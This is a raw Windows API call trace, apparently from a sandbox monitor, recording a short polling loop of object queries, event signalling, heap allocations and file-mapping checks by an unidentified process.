[0094.015] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.015] ResetEvent (hEvent=0xdc) returned 1 [0094.015] SetEvent (hEvent=0xe0) returned 1 [0094.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.015] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.015] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.015] ResetEvent (hEvent=0xdc) returned 1 [0094.016] SetEvent (hEvent=0xe0) returned 1 [0094.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.016] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.016] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.016] ResetEvent (hEvent=0xdc) returned 1 [0094.016] SetEvent (hEvent=0xe0) returned 1 [0094.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.017] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.017] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.017] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.017] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.017] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.017] ResetEvent (hEvent=0xdc) returned 1 [0094.017] SetEvent (hEvent=0xe0) returned 1 [0094.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.018] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.018] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.018] ResetEvent (hEvent=0xdc) returned 1 [0094.018] SetEvent (hEvent=0xe0) returned 1 [0094.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.019] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.019] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.019] ResetEvent (hEvent=0xdc) returned 1 [0094.019] SetEvent (hEvent=0xe0) returned 1 [0094.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.019] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.020] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.020] ResetEvent (hEvent=0xdc) returned 1 [0094.020] SetEvent (hEvent=0xe0) returned 1 [0094.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.020] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.021] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.021] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.021] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.021] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.021] ResetEvent (hEvent=0xdc) returned 1 [0094.021] SetEvent (hEvent=0xe0) returned 1 [0094.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.021] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.022] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.022] ResetEvent (hEvent=0xdc) returned 1 [0094.022] SetEvent (hEvent=0xe0) returned 1 [0094.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.022] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.022] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.023] ResetEvent (hEvent=0xdc) returned 1 [0094.023] SetEvent (hEvent=0xe0) returned 1 [0094.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.023] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.023] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.023] ResetEvent (hEvent=0xdc) returned 1 [0094.023] SetEvent (hEvent=0xe0) returned 1 [0094.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.024] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.024] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.024] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.024] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.024] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.024] ResetEvent (hEvent=0xdc) returned 1 [0094.024] SetEvent (hEvent=0xe0) returned 1 [0094.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.025] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.025] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.025] ResetEvent (hEvent=0xdc) returned 1 [0094.025] SetEvent (hEvent=0xe0) returned 1 [0094.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.026] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.026] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.026] ResetEvent (hEvent=0xdc) returned 1 [0094.026] SetEvent (hEvent=0xe0) returned 1 [0094.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.026] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.027] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.027] ResetEvent (hEvent=0xdc) returned 1 [0094.027] SetEvent (hEvent=0xe0) returned 1 [0094.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.027] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.028] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.028] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.028] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.028] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.028] ResetEvent (hEvent=0xdc) returned 1 [0094.028] SetEvent (hEvent=0xe0) returned 1 [0094.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.028] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.029] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.029] ResetEvent (hEvent=0xdc) returned 1 [0094.029] SetEvent (hEvent=0xe0) returned 1 [0094.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.029] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.029] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.030] ResetEvent (hEvent=0xdc) returned 1 [0094.030] SetEvent (hEvent=0xe0) returned 1 [0094.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.030] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.030] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.030] ResetEvent (hEvent=0xdc) returned 1 [0094.030] SetEvent (hEvent=0xe0) returned 1 [0094.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.031] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.031] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.031] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.031] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.031] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.031] ResetEvent (hEvent=0xdc) returned 1 [0094.031] SetEvent (hEvent=0xe0) returned 1 [0094.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.032] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.032] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.032] ResetEvent (hEvent=0xdc) returned 1 [0094.032] SetEvent (hEvent=0xe0) returned 1 [0094.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.033] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.033] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.033] ResetEvent (hEvent=0xdc) returned 1 [0094.033] SetEvent (hEvent=0xe0) returned 1 [0094.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.033] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.034] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.034] ResetEvent (hEvent=0xdc) returned 1 [0094.034] SetEvent (hEvent=0xe0) returned 1 [0094.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.034] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.035] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.035] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.035] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.035] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.035] ResetEvent (hEvent=0xdc) returned 1 [0094.035] SetEvent (hEvent=0xe0) returned 1 [0094.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.035] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.036] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.036] ResetEvent (hEvent=0xdc) returned 1 [0094.036] SetEvent (hEvent=0xe0) returned 1 [0094.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.036] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.037] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.037] ResetEvent (hEvent=0xdc) returned 1 [0094.037] SetEvent (hEvent=0xe0) returned 1 [0094.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.037] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.038] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.038] ResetEvent (hEvent=0xdc) returned 1 [0094.038] SetEvent (hEvent=0xe0) returned 1 [0094.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.038] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.038] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.038] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.039] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.039] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.039] ResetEvent (hEvent=0xdc) returned 1 [0094.039] SetEvent (hEvent=0xe0) returned 1 [0094.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.039] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.039] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.039] ResetEvent (hEvent=0xdc) returned 1 [0094.040] SetEvent (hEvent=0xe0) returned 1 [0094.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.040] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.040] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.040] ResetEvent (hEvent=0xdc) returned 1 [0094.040] SetEvent (hEvent=0xe0) returned 1 [0094.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.041] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.041] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.041] ResetEvent (hEvent=0xdc) returned 1 [0094.041] SetEvent (hEvent=0xe0) returned 1 [0094.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.042] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.042] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.042] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.042] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.042] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.042] ResetEvent (hEvent=0xdc) returned 1 [0094.042] SetEvent (hEvent=0xe0) returned 1 [0094.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.043] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.043] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.043] ResetEvent (hEvent=0xdc) returned 1 [0094.043] SetEvent (hEvent=0xe0) returned 1 [0094.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.043] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.044] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.044] ResetEvent (hEvent=0xdc) returned 1 [0094.044] SetEvent (hEvent=0xe0) returned 1 [0094.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.044] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.045] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.045] ResetEvent (hEvent=0xdc) returned 1 [0094.045] SetEvent (hEvent=0xe0) returned 1 [0094.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.045] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.045] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 